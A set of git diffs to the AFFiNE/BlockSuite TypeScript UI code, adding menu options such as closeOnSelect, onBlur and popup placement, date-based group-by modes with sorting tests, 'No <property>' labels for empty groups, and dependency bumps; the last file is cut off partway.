@@ -23,6 +23,7 @@ export type MenuButtonData = {
select: (ele: HTMLElement) => void | false;
onHover?: (hover: boolean) => void;
testId?: string;
closeOnSelect?: boolean;
};
export class MenuButton extends MenuFocusable {
@@ -85,7 +86,9 @@ export class MenuButton extends MenuFocusable {
onClick() {
if (this.data.select(this) !== false) {
this.menu.options.onComplete?.();
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
}
}
@@ -150,7 +153,9 @@ export class MobileMenuButton extends MenuFocusable {
onClick() {
if (this.data.select(this) !== false) {
this.menu.options.onComplete?.();
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
}
}
@@ -200,6 +205,7 @@ export const menuButtonItems = {
select: (ele: HTMLElement) => void | false;
onHover?: (hover: boolean) => void;
class?: MenuClass;
closeOnSelect?: boolean;
hide?: () => boolean;
testId?: string;
}) =>
@@ -219,6 +225,7 @@ export const menuButtonItems = {
},
onHover: config.onHover,
select: config.select,
closeOnSelect: config.closeOnSelect,
class: {
'selected-item': config.isSelected ?? false,
...config.class,

View File

@@ -17,6 +17,7 @@ export type MenuInputData = {
class?: string;
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
disableAutoFocus?: boolean;
};
@@ -49,6 +50,10 @@ export class MenuInput extends MenuFocusable {
this.data.onChange?.(this.inputRef.value);
};
private readonly onBlur = () => {
this.data.onBlur?.(this.inputRef.value);
};
private readonly onInput = (e: InputEvent) => {
e.stopPropagation();
if (e.isComposing) return;
@@ -109,6 +114,7 @@ export class MenuInput extends MenuFocusable {
@focus="${() => {
this.menu.setFocusOnly(this);
}}"
@blur="${this.onBlur}"
@input="${this.onInput}"
placeholder="${this.data.placeholder ?? ''}"
@keypress="${this.stopPropagation}"
@@ -215,6 +221,7 @@ export const menuInputItems = {
prefix?: TemplateResult;
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
class?: string;
style?: Readonly<StyleInfo>;
}) =>
@@ -228,6 +235,7 @@ export const menuInputItems = {
class: config.class,
onComplete: config.onComplete,
onChange: config.onChange,
onBlur: config.onBlur,
};
const style = styleMap({
display: 'flex',

View File

@@ -15,6 +15,7 @@ import {
computePosition,
type Middleware,
offset,
type Placement,
type ReferenceElement,
shift,
} from '@floating-ui/dom';
@@ -37,7 +38,9 @@ export class MenuComponent
display: flex;
flex-direction: column;
user-select: none;
min-width: 180px;
min-width: 320px;
max-width: 320px;
max-height: 700px;
box-shadow: ${unsafeCSSVar('overlayPanelShadow')};
border-radius: 4px;
background-color: ${unsafeCSSVarV2('layer/background/overlayPanel')};
@@ -439,6 +442,7 @@ export const createPopup = (
onClose?: () => void;
middleware?: Array<Middleware | null | undefined | false>;
container?: HTMLElement;
placement?: Placement;
}
) => {
const close = () => {
@@ -448,6 +452,7 @@ export const createPopup = (
const modal = createModal(target.root);
autoUpdate(target.targetRect, content, () => {
computePosition(target.targetRect, content, {
placement: options?.placement,
middleware: options?.middleware ?? [shift({ crossAxis: true })],
})
.then(({ x, y }) => {
@@ -520,6 +525,7 @@ export const popMenu = (
options: MenuOptions;
middleware?: Array<Middleware | null | undefined | false>;
container?: HTMLElement;
placement?: Placement;
}
): MenuHandler => {
if (IS_MOBILE) {
@@ -551,6 +557,7 @@ export const popMenu = (
offset(4),
],
container: props.container,
placement: props.placement,
});
return {
close: closePopup,
@@ -563,12 +570,14 @@ export const popMenu = (
export const popFilterableSimpleMenu = (
target: PopupTarget,
options: MenuConfig[],
onClose?: () => void
onClose?: () => void,
placement: Placement = 'bottom-start'
) => {
popMenu(target, {
options: {
items: options,
onClose,
},
placement,
});
};

View File

@@ -4,12 +4,15 @@ import {
autoPlacement,
autoUpdate,
computePosition,
type Middleware,
offset,
shift,
} from '@floating-ui/dom';
import { html, nothing, type TemplateResult } from 'lit';
import { css, html, nothing, type TemplateResult } from 'lit';
import { property } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import { MenuButton } from './button.js';
import { MenuFocusable } from './focusable.js';
import { Menu, type MenuOptions } from './menu.js';
import { popMenu, popupTargetFromElement } from './menu-renderer.js';
@@ -20,29 +23,55 @@ export type MenuSubMenuData = {
options: MenuOptions;
select?: () => void;
class?: string;
openOnHover?: boolean;
middleware?: Middleware[];
autoHeight?: boolean;
closeOnSelect?: boolean;
};
export const subMenuOffset = offset({
mainAxis: 16,
crossAxis: -8.5,
crossAxis: 0,
});
export const subMenuPlacements = autoPlacement({
allowedPlacements: ['right-start', 'left-start', 'right-end', 'left-end'],
allowedPlacements: ['bottom-end'],
});
export const subMenuMiddleware = [subMenuOffset, subMenuPlacements];
export const dropdownSubMenuMiddleware = [
autoPlacement({ allowedPlacements: ['bottom-end'] }),
offset({ mainAxis: 8, crossAxis: 0 }),
shift({ crossAxis: true }),
];
export class MenuSubMenu extends MenuFocusable {
static override styles = [
MenuButton.styles,
css`
.affine-menu-button svg:last-child {
transition: transform 150ms cubic-bezier(0.42, 0, 1, 1);
}
affine-menu-sub-menu.active .affine-menu-button svg:last-child {
transform: rotate(90deg);
}
`,
];
createTime = 0;
override connectedCallback() {
super.connectedCallback();
this.createTime = Date.now();
this.disposables.addFromEvent(this, 'mouseenter', this.onMouseEnter);
if (this.data.openOnHover !== false) {
this.disposables.addFromEvent(this, 'mouseenter', this.onMouseEnter);
}
this.disposables.addFromEvent(this, 'click', e => {
e.preventDefault();
e.stopPropagation();
if (this.data.select) {
this.data.select();
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
} else {
this.openSubMenu();
}
@@ -60,11 +89,38 @@ export class MenuSubMenu extends MenuFocusable {
}
openSubMenu() {
if (this.data.openOnHover === false) {
const { menu } = popMenu(popupTargetFromElement(this), {
options: {
...this.data.options,
onComplete: () => {
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
},
onClose: () => {
menu.menuElement.remove();
this.data.options.onClose?.();
},
},
middleware: this.data.middleware,
});
if (this.data.autoHeight) {
menu.menuElement.style.minHeight = 'fit-content';
menu.menuElement.style.maxHeight = 'fit-content';
}
menu.menuElement.style.minWidth = '200px';
this.menu.openSubMenu(menu);
return;
}
const focus = this.menu.currentFocused$.value;
const menu = new Menu({
...this.data.options,
onComplete: () => {
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
},
onClose: () => {
menu.menuElement.remove();
@@ -74,9 +130,14 @@ export class MenuSubMenu extends MenuFocusable {
},
});
this.menu.menuElement.parentElement?.append(menu.menuElement);
if (this.data.autoHeight) {
menu.menuElement.style.minHeight = 'fit-content';
menu.menuElement.style.maxHeight = 'fit-content';
}
menu.menuElement.style.minWidth = '200px';
const unsub = autoUpdate(this, menu.menuElement, () => {
computePosition(this, menu.menuElement, {
middleware: subMenuMiddleware,
middleware: this.data.middleware ?? subMenuMiddleware,
})
.then(({ x, y }) => {
menu.menuElement.style.left = `${x}px`;
@@ -125,14 +186,22 @@ export class MobileSubMenu extends MenuFocusable {
options: {
...this.data.options,
onComplete: () => {
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
},
onClose: () => {
menu.menuElement.remove();
this.data.options.onClose?.();
},
},
middleware: this.data.middleware,
});
if (this.data.autoHeight) {
menu.menuElement.style.minHeight = 'fit-content';
menu.menuElement.style.maxHeight = 'fit-content';
}
menu.menuElement.style.minWidth = '200px';
this.menu.openSubMenu(menu);
}
@@ -175,6 +244,10 @@ export const subMenuItems = {
options: MenuOptions;
disableArrow?: boolean;
hide?: () => boolean;
openOnHover?: boolean;
middleware?: Middleware[];
autoHeight?: boolean;
closeOnSelect?: boolean;
}) =>
menu => {
if (config.hide?.() || !menu.search(config.name)) {
@@ -190,6 +263,10 @@ export const subMenuItems = {
${config.disableArrow ? nothing : ArrowRightSmallIcon()} `,
class: config.class,
options: config.options,
openOnHover: config.openOnHover,
middleware: config.middleware,
autoHeight: config.autoHeight,
closeOnSelect: config.closeOnSelect,
};
return renderSubMenu(data, menu);
},

View File

@@ -27,10 +27,12 @@
"date-fns": "^4.0.0",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"rxjs": "^7.8.1",
"vitest": "^3.2.3",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -46,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -0,0 +1,35 @@
import { describe, expect, it } from 'vitest';
import { compareDateKeys } from '../core/group-by/compare-date-keys.js';
describe('compareDateKeys', () => {
it('sorts relative keys ascending', () => {
const cmp = compareDateKeys('date-relative', true);
const keys = ['today', 'last7', 'yesterday', 'last30'];
const sorted = [...keys].sort(cmp);
expect(sorted).toEqual(['last30', 'last7', 'yesterday', 'today']);
});
it('sorts relative keys descending', () => {
const cmp = compareDateKeys('date-relative', false);
const keys = ['today', 'last7', 'yesterday', 'last30'];
const sorted = [...keys].sort(cmp);
expect(sorted).toEqual(['today', 'yesterday', 'last7', 'last30']);
});
it('sorts numeric keys correctly', () => {
const asc = compareDateKeys('date-day', true);
const desc = compareDateKeys('date-day', false);
const keys = ['3', '1', '2'];
expect([...keys].sort(asc)).toEqual(['1', '2', '3']);
expect([...keys].sort(desc)).toEqual(['3', '2', '1']);
});
it('handles mixed relative and numeric keys', () => {
const cmp = compareDateKeys('date-relative', true);
const keys = ['today', '1', 'yesterday', '2'];
const sorted = [...keys].sort(cmp);
expect(sorted[0]).toBe('1');
expect(sorted[sorted.length - 1]).toBe('today');
});
});

View File

@@ -6,6 +6,7 @@ import {
import { SignalWatcher, WithDisposable } from '@blocksuite/global/lit';
import { InvisibleIcon, ViewIcon } from '@blocksuite/icons/lit';
import { ShadowlessElement } from '@blocksuite/std';
import type { Middleware } from '@floating-ui/dom';
import { computed } from '@preact/signals-core';
import { cssVarV2 } from '@toeverything/theme/v2';
import { css, html, unsafeCSS } from 'lit';
@@ -235,13 +236,16 @@ export const popPropertiesSetting = (
view: SingleView;
onClose?: () => void;
onBack?: () => void;
}
},
middleware?: Array<Middleware | null | undefined | false>
) => {
popMenu(target, {
const handler = popMenu(target, {
middleware,
options: {
title: {
text: 'Properties',
onBack: props.onBack,
onClose: props.onClose,
postfix: () => {
const items = props.view.propertiesRaw$.value;
const isAllShowed = items.every(property => !property.hide$.value);
@@ -270,8 +274,10 @@ export const popPropertiesSetting = (
],
}),
],
onClose: props.onClose,
},
});
handler.menu.menuElement.style.minHeight = '550px';
// const view = new DataViewPropertiesSettingView();
// view.view = props.view;

View File

@@ -1,25 +1,10 @@
import { menu } from '@blocksuite/affine-components/context-menu';
import { IS_MOBILE } from '@blocksuite/global/env';
import { html } from 'lit/static-html.js';
import { renderUniLit } from '../utils/uni-component/index.js';
import type { Property } from '../view-manager/property.js';
export const inputConfig = (property: Property) => {
if (IS_MOBILE) {
return menu.input({
prefix: html`
<div class="affine-database-column-type-menu-icon">
${renderUniLit(property.icon)}
</div>
`,
initialValue: property.name$.value,
placeholder: 'Property name',
onChange: text => {
property.nameSet(text);
},
});
}
return menu.input({
prefix: html`
<div class="affine-database-column-type-menu-icon">
@@ -28,7 +13,7 @@ export const inputConfig = (property: Property) => {
`,
initialValue: property.name$.value,
placeholder: 'Property name',
onComplete: text => {
onBlur: text => {
property.nameSet(text);
},
});

View File

@@ -2,6 +2,7 @@ export type GroupBy = {
type: 'groupBy';
columnId: string;
name: string;
hideEmpty?: boolean;
sort?: {
desc: boolean;
};

View File

@@ -484,6 +484,18 @@ const popMobileTagSelect = (target: PopupTarget, ops: TagSelectOptions) => {
const onInput = (e: InputEvent) => {
tagManager.text$.value = (e.target as HTMLInputElement).value;
};
const onKeydown = (e: KeyboardEvent) => {
e.stopPropagation();
const inputValue = (e.target as HTMLInputElement).value.trim();
if (e.key === 'Backspace' && inputValue === '') {
const values = tagManager.value$.value;
const lastId = values[values.length - 1];
if (lastId) {
e.preventDefault();
tagManager.deleteTag(lastId);
}
}
};
return popMenu(target, {
options: {
onClose: () => {
@@ -511,11 +523,21 @@ const popMobileTagSelect = (target: PopupTarget, ops: TagSelectOptions) => {
});
return html` <div class="${tagContainerStyle}" style=${style}>
<div class="${tagTextStyle}">${option.value}</div>
<div
class="${tagDeleteIconStyle}"
@click="${(e: MouseEvent) => {
e.stopPropagation();
tagManager.deleteTag(id);
}}"
>
${CloseIcon()}
</div>
</div>`;
})}
<input
.value="${tagManager.text$.value}"
@input="${onInput}"
@keydown="${onKeydown}"
placeholder="Type here..."
type="text"
style="outline: none;border: none;flex:1;min-width: 10px"

View File

@@ -24,7 +24,7 @@ export const popCreateFilter = (
middleware?: Middleware[];
}
) => {
popMenu(target, {
const subHandler = popMenu(target, {
middleware: ops?.middleware,
options: {
onClose: props.onClose,
@@ -64,4 +64,5 @@ export const popCreateFilter = (
],
},
});
subHandler.menu.menuElement.style.minHeight = '550px';
};

View File

@@ -15,6 +15,7 @@ export const allLiteralConfig: LiteralItemsConfig[] = [
() => {
return html` <date-picker
.padding="${8}"
.size="${20}"
.value="${value.value}"
.onChange="${(date: Date) => {
onChange(date.getTime());

View File

@@ -0,0 +1,62 @@
export const RELATIVE_ASC = [
'last30',
'last7',
'yesterday',
'today',
'tomorrow',
'next7',
'next30',
] as const;
export const RELATIVE_DESC = [...RELATIVE_ASC].reverse();
/**
* Sorts relative date keys in chronological order
*/
export function sortRelativeKeys(a: string, b: string, asc: boolean): number {
const order: readonly string[] = asc ? RELATIVE_ASC : RELATIVE_DESC;
const idxA = order.indexOf(a);
const idxB = order.indexOf(b);
if (idxA !== -1 && idxB !== -1) return idxA - idxB;
if (idxA !== -1) return asc ? 1 : -1;
if (idxB !== -1) return asc ? -1 : 1;
return 0; // Both not found
}
/**
* Sorts numeric date keys (timestamps)
*/
export function sortNumericKeys(a: string, b: string, asc: boolean): number {
const na = Number(a);
const nb = Number(b);
if (Number.isFinite(na) && Number.isFinite(nb)) {
return asc ? na - nb : nb - na;
}
return 0; // Not both numeric
}
export function compareDateKeys(mode: string | undefined, asc: boolean) {
return (a: string, b: string) => {
if (mode === 'date-relative') {
// Try relative key sorting first
const relativeResult = sortRelativeKeys(a, b, asc);
if (relativeResult !== 0) return relativeResult;
// Try numeric sorting second
const numericResult = sortNumericKeys(a, b, asc);
if (numericResult !== 0) return numericResult;
// Fallback to lexicographic order for mixed cases
return asc ? a.localeCompare(b) : b.localeCompare(a);
}
// Standard numeric/lexicographic comparison for other date modes
return (
sortNumericKeys(a, b, asc) ||
(asc ? a.localeCompare(b) : b.localeCompare(a))
);
};
}

View File

@@ -18,6 +18,7 @@ export const defaultGroupBy = (
type: 'groupBy',
columnId: propertyId,
name: name,
hideEmpty: true,
}
: undefined;
};

View File

@@ -1,9 +1,22 @@
import hash from '@emotion/hash';
import {
addDays,
differenceInCalendarDays,
format as fmt,
isToday,
isTomorrow,
isYesterday,
startOfDay,
startOfMonth,
startOfWeek,
startOfYear,
} from 'date-fns';
import type { TypeInstance } from '../logical/type.js';
import { t } from '../logical/type-presets.js';
import { createUniComponentFromWebComponent } from '../utils/uni-component/uni-component.js';
import { BooleanGroupView } from './renderer/boolean-group.js';
import { DateGroupView } from './renderer/date-group.js';
import { NumberGroupView } from './renderer/number-group.js';
import { SelectGroupView } from './renderer/select-group.js';
import { StringGroupView } from './renderer/string-group.js';
@@ -15,171 +28,239 @@ export const createGroupByConfig = <
GroupValue = unknown,
>(
config: GroupByConfig<Data, MatchType, GroupValue>
): GroupByConfig => {
return config as never as GroupByConfig;
};
): GroupByConfig => config as never;
export const ungroups = {
key: 'Ungroups',
value: null,
};
export const groupByMatchers = [
const WEEK_OPTS_MON = { weekStartsOn: 1 } as const;
const WEEK_OPTS_SUN = { weekStartsOn: 0 } as const;
const rangeLabel = (a: Date, b: Date) =>
`${fmt(a, 'MMM d yyyy')} ${fmt(b, 'MMM d yyyy')}`;
function buildDateCfg(
name: string,
grouper: (ms: number | null) => { key: string; value: number | null }[],
groupName: (v: number | null) => string
): GroupByConfig {
return createGroupByConfig({
name,
matchType: t.date.instance(),
groupName: (_t, v) => groupName(v),
defaultKeys: _t => [ungroups],
valuesGroup: (v: number | null, _t) => grouper(v),
addToGroup: (grp: number | null, _old: number | null) => grp,
view: createUniComponentFromWebComponent(DateGroupView),
});
}
const dateRelativeCfg = buildDateCfg(
'date-relative',
v => {
if (v == null) return [ungroups];
const d = startOfDay(new Date(v));
const today = startOfDay(new Date());
const daysDiff = differenceInCalendarDays(d, today);
// Handle specific days
if (isToday(d)) return [{ key: 'today', value: +d }];
if (isTomorrow(d)) return [{ key: 'tomorrow', value: +d }];
if (isYesterday(d)) return [{ key: 'yesterday', value: +d }];
// Handle future dates
if (daysDiff > 0) {
if (daysDiff <= 7) return [{ key: 'next7', value: +d }];
if (daysDiff <= 30) return [{ key: 'next30', value: +d }];
// Group by month for future dates beyond 30 days
const m = startOfMonth(d);
return [{ key: `${+m}`, value: +m }];
}
// Handle past dates
const daysAgo = -daysDiff;
if (daysAgo <= 7) return [{ key: 'last7', value: +d }];
if (daysAgo <= 30) return [{ key: 'last30', value: +d }];
// Group by month for past dates beyond 30 days
const m = startOfMonth(d);
return [{ key: `${+m}`, value: +m }];
},
v => {
if (v == null) return '';
const d = startOfDay(new Date(v));
const today = startOfDay(new Date());
const daysDiff = differenceInCalendarDays(d, today);
// Handle specific days
if (isToday(d)) return 'Today';
if (isTomorrow(d)) return 'Tomorrow';
if (isYesterday(d)) return 'Yesterday';
// Handle future dates
if (daysDiff > 0) {
if (daysDiff <= 7) return 'Next 7 days';
if (daysDiff <= 30) return 'Next 30 days';
// Show month/year for future dates beyond 30 days
return fmt(new Date(v), 'MMM yyyy');
}
// Handle past dates
const daysAgo = -daysDiff;
if (daysAgo <= 7) return 'Last 7 days';
if (daysAgo <= 30) return 'Last 30 days';
// Show month/year for past dates beyond 30 days
return fmt(new Date(v), 'MMM yyyy');
}
);
const dateDayCfg = buildDateCfg(
'date-day',
v => {
if (v == null) return [ungroups];
const d = startOfDay(new Date(v));
return [{ key: `${+d}`, value: +d }];
},
v => (v ? fmt(new Date(v), 'MMM d yyyy') : '')
);
const dateWeekSunCfg = buildDateCfg(
'date-week-sun',
v => {
if (v == null) return [ungroups];
const w = startOfWeek(new Date(v), WEEK_OPTS_SUN);
return [{ key: `${+w}`, value: +w }];
},
v => (v ? rangeLabel(new Date(v), addDays(new Date(v), 6)) : '')
);
const dateWeekMonCfg = buildDateCfg(
'date-week-mon',
v => {
if (v == null) return [ungroups];
const w = startOfWeek(new Date(v), WEEK_OPTS_MON);
return [{ key: `${+w}`, value: +w }];
},
v => (v ? rangeLabel(new Date(v), addDays(new Date(v), 6)) : '')
);
const dateMonthCfg = buildDateCfg(
'date-month',
v => {
if (v == null) return [ungroups];
const m = startOfMonth(new Date(v));
return [{ key: `${+m}`, value: +m }];
},
v => (v ? fmt(new Date(v), 'MMM yyyy') : '')
);
const dateYearCfg = buildDateCfg(
'date-year',
v => {
if (v == null) return [ungroups];
const y = startOfYear(new Date(v));
return [{ key: `${+y}`, value: +y }];
},
v => (v ? fmt(new Date(v), 'yyyy') : '')
);
export const groupByMatchers: GroupByConfig[] = [
createGroupByConfig({
name: 'select',
matchType: t.tag.instance(),
groupName: (type, value: string | null) => {
if (t.tag.is(type) && type.data) {
if (t.tag.is(type) && type.data)
return type.data.find(v => v.id === value)?.value ?? '';
}
return '';
},
defaultKeys: type => {
if (t.tag.is(type) && type.data) {
return [
ungroups,
...type.data.map(v => ({
key: v.id,
value: v.id,
})),
];
}
return [ungroups];
},
valuesGroup: (value, _type) => {
if (value == null) {
return [ungroups];
}
return [
{
key: `${value}`,
value: value.toString(),
},
];
},
addToGroup: v => v,
defaultKeys: type =>
t.tag.is(type) && type.data
? [ungroups, ...type.data.map(v => ({ key: v.id, value: v.id }))]
: [ungroups],
valuesGroup: (value, _t) =>
value == null ? [ungroups] : [{ key: `${value}`, value }],
addToGroup: (v: string | null, _old: string | null) => v,
view: createUniComponentFromWebComponent(SelectGroupView),
}),
createGroupByConfig({
name: 'multi-select',
matchType: t.array.instance(t.tag.instance()),
groupName: (type, value: string | null) => {
if (t.array.is(type) && t.tag.is(type.element) && type.element.data) {
if (t.array.is(type) && t.tag.is(type.element) && type.element.data)
return type.element.data.find(v => v.id === value)?.value ?? '';
}
return '';
},
defaultKeys: type => {
if (t.array.is(type) && t.tag.is(type.element) && type.element.data) {
return [
ungroups,
...type.element.data.map(v => ({
key: v.id,
value: v.id,
})),
];
}
defaultKeys: type =>
t.array.is(type) && t.tag.is(type.element) && type.element.data
? [
ungroups,
...type.element.data.map(v => ({ key: v.id, value: v.id })),
]
: [ungroups],
valuesGroup: (value, _t) => {
if (value == null) return [ungroups];
if (Array.isArray(value) && value.length)
return value.map(id => ({ key: `${id}`, value: id }));
return [ungroups];
},
valuesGroup: (value, _type) => {
if (value == null) {
return [ungroups];
}
if (Array.isArray(value) && value.length) {
return value.map(id => ({
key: `${id}`,
value: id,
}));
}
return [ungroups];
},
addToGroup: (value, old) => {
if (value == null) {
return old;
}
addToGroup: (
value: string | null,
old: string[] | null
): string[] | null => {
if (value == null) return old;
return Array.isArray(old) ? [...old, value] : [value];
},
removeFromGroup: (value, old) => {
if (Array.isArray(old)) {
return old.filter(v => v !== value);
}
return old;
},
removeFromGroup: (value, old) =>
Array.isArray(old) ? old.filter(v => v !== value) : old,
view: createUniComponentFromWebComponent(SelectGroupView),
}),
createGroupByConfig({
name: 'text',
matchType: t.string.instance(),
groupName: (_type, value: string | null) => {
return `${value ?? ''}`;
},
defaultKeys: _type => {
return [ungroups];
},
valuesGroup: (value, _type) => {
if (typeof value !== 'string' || !value) {
return [ungroups];
}
return [
{
key: hash(value),
value,
},
];
},
addToGroup: v => v,
groupName: (_t, v) => `${v ?? ''}`,
defaultKeys: _t => [ungroups],
valuesGroup: (v, _t) =>
typeof v !== 'string' || !v ? [ungroups] : [{ key: hash(v), value: v }],
addToGroup: (v: string | null, _old: string | null) => v,
view: createUniComponentFromWebComponent(StringGroupView),
}),
createGroupByConfig({
name: 'number',
matchType: t.number.instance(),
groupName: (_type, value: number | null) => {
return `${value ?? ''}`;
},
defaultKeys: _type => {
return [ungroups];
},
valuesGroup: (value: number | null, _type) => {
if (typeof value !== 'number') {
return [ungroups];
}
return [
{
key: `g:${Math.floor(value / 10)}`,
value: Math.floor(value / 10),
},
];
},
addToGroup: value => (typeof value === 'number' ? value * 10 : null),
groupName: (_t, v) => `${v ?? ''}`,
defaultKeys: _t => [ungroups],
valuesGroup: (v, _t) =>
typeof v !== 'number'
? [ungroups]
: [{ key: `g:${Math.floor(v / 10)}`, value: Math.floor(v / 10) }],
addToGroup: (v: number | null, _old: number | null) =>
typeof v === 'number' ? v * 10 : null,
view: createUniComponentFromWebComponent(NumberGroupView),
}),
createGroupByConfig({
name: 'boolean',
matchType: t.boolean.instance(),
groupName: (_type, value: boolean | null) => {
return `${value?.toString() ?? ''}`;
},
defaultKeys: _type => {
return [
{ key: 'true', value: true },
{ key: 'false', value: false },
];
},
valuesGroup: (value, _type) => {
if (typeof value !== 'boolean') {
return [
{
key: 'false',
value: false,
},
];
}
return [
{
key: value.toString(),
value: value,
},
];
},
addToGroup: v => v,
groupName: (_t, v) => `${v?.toString() ?? ''}`,
defaultKeys: _t => [
ungroups,
{ key: 'true', value: true },
{ key: 'false', value: false },
],
valuesGroup: (v, _t) =>
typeof v !== 'boolean' ? [ungroups] : [{ key: v.toString(), value: v }],
addToGroup: (v: boolean | null, _old: boolean | null) => v,
view: createUniComponentFromWebComponent(BooleanGroupView),
}),
dateRelativeCfg,
dateDayCfg,
dateWeekSunCfg,
dateWeekMonCfg,
dateMonthCfg,
dateYearCfg,
];

View File

@@ -9,6 +9,18 @@ export const createGroupByMatcher = (list: GroupByConfig[]) => {
return new Matcher_(list, v => v.matchType);
};
export const findGroupByConfigByName = (
dataSource: DataSource,
name: string
): GroupByConfig | undefined => {
const svc = getGroupByService(dataSource);
const all: GroupByConfig[] = [
...svc.allExternalGroupByConfig(),
...groupByMatchers,
];
return all.find(c => c.name === name);
};
export class GroupByService {
constructor(private readonly dataSource: DataSource) {}

View File

@@ -16,6 +16,14 @@ export class BooleanGroupView extends BaseGroup<boolean, NonNullable<unknown>> {
`;
protected override render(): unknown {
// Handle null/undefined values
if (this.value == null) {
const displayName = `No ${this.group.property.name$.value ?? 'value'}`;
return html` <div class="data-view-group-title-boolean-view">
${displayName}
</div>`;
}
return html` <div class="data-view-group-title-boolean-view">
${this.value
? CheckBoxCheckSolidIcon({ style: `color:#1E96EB` })

View File

@@ -0,0 +1,54 @@
import { SignalWatcher, WithDisposable } from '@blocksuite/global/lit';
import { ShadowlessElement } from '@blocksuite/std';
import { css, html } from 'lit';
import { property } from 'lit/decorators.js';
import type { Group } from '../trait.js';
export class DateGroupView extends SignalWatcher(
WithDisposable(ShadowlessElement)
) {
static override styles = css`
.dv-date-group {
border-radius: 8px;
padding: 4px 8px;
width: max-content;
cursor: default;
display: flex;
align-items: center;
gap: 6px;
}
.dv-date-group:hover {
background-color: var(--affine-hover-color);
}
.counter {
flex-shrink: 0;
min-width: 22px;
height: 22px;
border-radius: 4px;
background: var(--affine-background-secondary-color);
color: var(--affine-text-secondary-color);
font-size: var(--data-view-cell-text-size);
display: flex;
align-items: center;
justify-content: center;
}
`;
@property({ attribute: false })
accessor group!: Group;
protected override render() {
const name = this.group.name$.value;
// Use contextual name based on the property when value is null
const displayName =
name ||
(this.group.value === null
? `No ${this.group.property.name$.value}`
: 'Ungroups');
return html`<div class="dv-date-group">
<span>${displayName}</span>
</div>`;
}
}
customElements.define('data-view-date-group-view', DateGroupView);

View File

@@ -45,7 +45,8 @@ export class NumberGroupView extends BaseGroup<number, NonNullable<unknown>> {
protected override render(): unknown {
if (this.value == null) {
return html` <div>Ungroups</div>`;
const displayName = `No ${this.group.property.name$.value}`;
return html` <div>${displayName}</div>`;
}
if (this.value >= 10) {
return html` <div

View File

@@ -84,10 +84,11 @@ export class SelectGroupView extends BaseGroup<
protected override render(): unknown {
const tag = this.tag;
if (!tag) {
const displayName = `No ${this.group.property.name$.value}`;
return html` <div
style="font-size: 14px;color: var(--affine-text-primary-color);line-height: 22px;"
>
Ungroups
${displayName}
</div>`;
}
const style = styleMap({

View File

@@ -41,7 +41,8 @@ export class StringGroupView extends BaseGroup<string, NonNullable<unknown>> {
protected override render(): unknown {
if (!this.value) {
return html` <div>Ungroups</div>`;
const displayName = `No ${this.group.property.name$.value}`;
return html` <div>${displayName}</div>`;
}
return html` <div
@click="${this._click}"

View File

@@ -1,4 +1,5 @@
import {
dropdownSubMenuMiddleware,
menu,
type MenuConfig,
type MenuOptions,
@@ -6,9 +7,12 @@ import {
type PopupTarget,
} from '@blocksuite/affine-components/context-menu';
import { SignalWatcher, WithDisposable } from '@blocksuite/global/lit';
import { DeleteIcon } from '@blocksuite/icons/lit';
import { DeleteIcon, InvisibleIcon, ViewIcon } from '@blocksuite/icons/lit';
import { ShadowlessElement } from '@blocksuite/std';
import type { Middleware } from '@floating-ui/dom';
import { autoPlacement, offset, shift } from '@floating-ui/dom';
import { computed } from '@preact/signals-core';
import { cssVarV2 } from '@toeverything/theme/v2';
import { css, html, unsafeCSS } from 'lit';
import { property, query } from 'lit/decorators.js';
import { repeat } from 'lit/directives/repeat.js';
@@ -28,6 +32,24 @@ import { getGroupByService } from './matcher.js';
import type { GroupTrait } from './trait.js';
import type { GroupRenderProps } from './types.js';
const dateModeLabel = (key?: string) => {
switch (key) {
case 'date-relative':
return 'Relative';
case 'date-day':
return 'Day';
case 'date-week-mon':
case 'date-week-sun':
return 'Week';
case 'date-month':
return 'Month';
case 'date-year':
return 'Year';
default:
return '';
}
};
export class GroupSetting extends SignalWatcher(
WithDisposable(ShadowlessElement)
) {
@@ -39,13 +61,44 @@ export class GroupSetting extends SignalWatcher(
${unsafeCSS(dataViewCssVariable())};
}
.group-sort-setting {
display: flex;
flex-direction: column;
gap: 4px;
z-index: 1;
max-height: 200px;
overflow: hidden auto;
margin-right: 0;
margin-bottom: 0;
}
/* WebKit-based browser scrollbar styling */
.group-sort-setting::-webkit-scrollbar {
width: 8px;
}
.group-sort-setting::-webkit-scrollbar-thumb {
background-color: #b0b0b0; /* Grey slider */
border-radius: 4px;
}
.group-sort-setting::-webkit-scrollbar-track {
background: transparent;
}
.group-sort-setting {
scrollbar-width: thin;
scrollbar-color: #b0b0b0 transparent;
}
.group-hidden {
opacity: 0.5;
}
.group-item {
display: flex;
padding: 4px 12px;
position: relative;
cursor: grab;
}
.group-item-drag-bar {
width: 4px;
height: 12px;
@@ -57,18 +110,49 @@ export class GroupSetting extends SignalWatcher(
bottom: 0;
margin: auto;
}
.group-item:hover .group-item-drag-bar {
background-color: #c0bfc1;
}
.group-item-op-icon {
display: flex;
align-items: center;
border-radius: 4px;
}
.group-item-op-icon:hover {
background-color: var(--affine-hover-color);
}
.group-item-op-icon svg {
fill: var(--affine-icon-color);
color: var(--affine-icon-color);
width: 20px;
height: 20px;
}
.group-item-name {
font-size: 14px;
line-height: 22px;
flex: 1;
}
.properties-group-op {
padding: 4px 8px;
font-size: 12px;
line-height: 20px;
font-weight: 500;
border-radius: 4px;
cursor: pointer;
color: ${unsafeCSS(cssVarV2.button.primary)};
}
.properties-group-op:hover {
background-color: var(--affine-hover-color);
}
`;
@property({ attribute: false })
accessor groupTrait!: GroupTrait;
groups$ = computed(() => {
return this.groupTrait.groupsDataList$.value;
});
groups$ = computed(() => this.groupTrait.groupsDataListAll$.value);
sortContext = createSortContext({
